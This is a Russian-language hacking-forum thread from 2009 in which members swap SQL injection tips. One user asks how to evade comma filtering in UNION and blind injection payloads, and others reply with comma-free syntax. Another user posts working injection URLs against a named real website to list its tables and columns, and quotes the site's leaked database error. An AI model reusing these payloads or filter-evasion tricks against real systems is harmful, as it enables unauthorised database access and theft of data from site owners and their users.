ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.09.2009, 18:13
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами: 9594385

Репутация: 386
По умолчанию

2Cehennem ветка чуть ниже "XSS для чайников" , только чтоб работало переводиш в чар как ты в своем примере показывал.

2cristoff брут или ищи другие баги на серваке.
 
Ответить с цитированием

  #2  
Старый 21.09.2009, 13:29
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию

magic_quotes или addslashes будут мешать тильде `?
 
Ответить с цитированием

  #3  
Старый 21.09.2009, 15:18
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами: 10058786

Репутация: 4589


По умолчанию

Цитата:
Сообщение от Ctacok  
magic_quotes или addslashes будут мешать тильде `?
нет
 
Ответить с цитированием

  #4  
Старый 21.09.2009, 20:37
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
С нами: 10249722

Репутация: 5
По умолчанию

Доброго времени суток всем уважаемым!

Подскажите плз, как можно обойти фильтрацию ',' (запятая) в sql при выполнении запросов типа

userid=10+UNION+SELECT+1,2,3,4,5,6/*
и
userid=10+and+ASCII(SUBSTRING(user(),1,1))>0/*

Заранее всем благодарен
 
Ответить с цитированием

  #5  
Старый 21.09.2009, 20:51
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от jangle  
Доброго времени суток всем уважаемым!

Подскажите плз, как можно обойти фильтрацию ',' (запятая) в sql при выполнении запросов типа

userid=10+UNION+SELECT+1,2,3,4,5,6/*
и
userid=10+and+ASCII(SUBSTRING(user(),1,1))>0/*

Заранее всем благодарен
В слепых скулях можно юзать так:

userid=10+and+ASCII(SUBSTRING(user() FROM 1 FOR 1))>0/*

первое - с какого символа, второе - сколько символов

Единственная накладка - в выборке с лимитом нужна запятая, но можно обойтись, к примеру этим where id = 1 и т.д.
 
Ответить с цитированием

  #6  
Старый 22.09.2009, 16:49
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
С нами: 11020706

Репутация: 4693


По умолчанию

Цитата:
Сообщение от Grey  
Единственная накладка - в выборке с лимитом нужна запятая, но можно обойтись, к примеру этим where id = 1 и т.д.
Там можно и без запятой, пример: LMIT 1 OFFSET 1
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #7  
Старый 22.09.2009, 21:10
неумейка
Новичок
Регистрация: 22.09.2009
Сообщений: 1
С нами: 8755437

Репутация: 0
По умолчанию

Добрый день уважаемые гуру, вот занялся изучением SQL-инъекций, не могу разобраться:
Делаю инъекции для определения имен таблиц:
Код:
http://www.marlin-yug.com/shownews.php?news_id=-32+union+select+1,2,TABLE_NAME,4,5,6,7+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+4,1
Все работает, перебирая limit нашел интересную табличку guest_book
Делаю так, чтоб узнать колонки:
Код:
http://www.marlin-yug.com/shownews.php?news_id=-32+union+select+1,2,COLUMN_NAME,4,5,6,7+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='guest_book'+LIMIT+1,1
НЕ работает !
Код:
Select_Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'guest_book\' LIMIT 1,1' at line 5SELECT `mar_news`.`news_date`, `mar_news`.`news_small_en`, `mar_news`.`news_big_en`, `mar_news`.`photo_alb_page_id`,`mar_news`.`file_en`,`mar_news`.`file_anchor_en`, `mar_news`.`category_name_id` FROM `mar_news` WHERE `mar_news`.`news_id` = -32 union select 1,2,COLUMN_NAME,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'guest_book\' LIMIT 1,1
Подскажите пожалуйста в чем загвоздка.

Последний раз редактировалось неумейка; 22.09.2009 в 21:12..
 
Ответить с цитированием

  #8  
Старый 21.09.2009, 20:43
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Если обычный str_replace - никак запятую не поставишь.
Но я думаю, можно одним способом, который я сейчас проверю.
 
Ответить с цитированием

  #9  
Старый 21.09.2009, 20:47
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
С нами: 10249722

Репутация: 5
По умолчанию

жду
 
Ответить с цитированием

  #10  
Старый 21.09.2009, 20:50
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Нет, нельзя
Я думал с хексом поиграть, но ничего не вышло...
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 12 (пользователей: 0 , гостей: 12)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.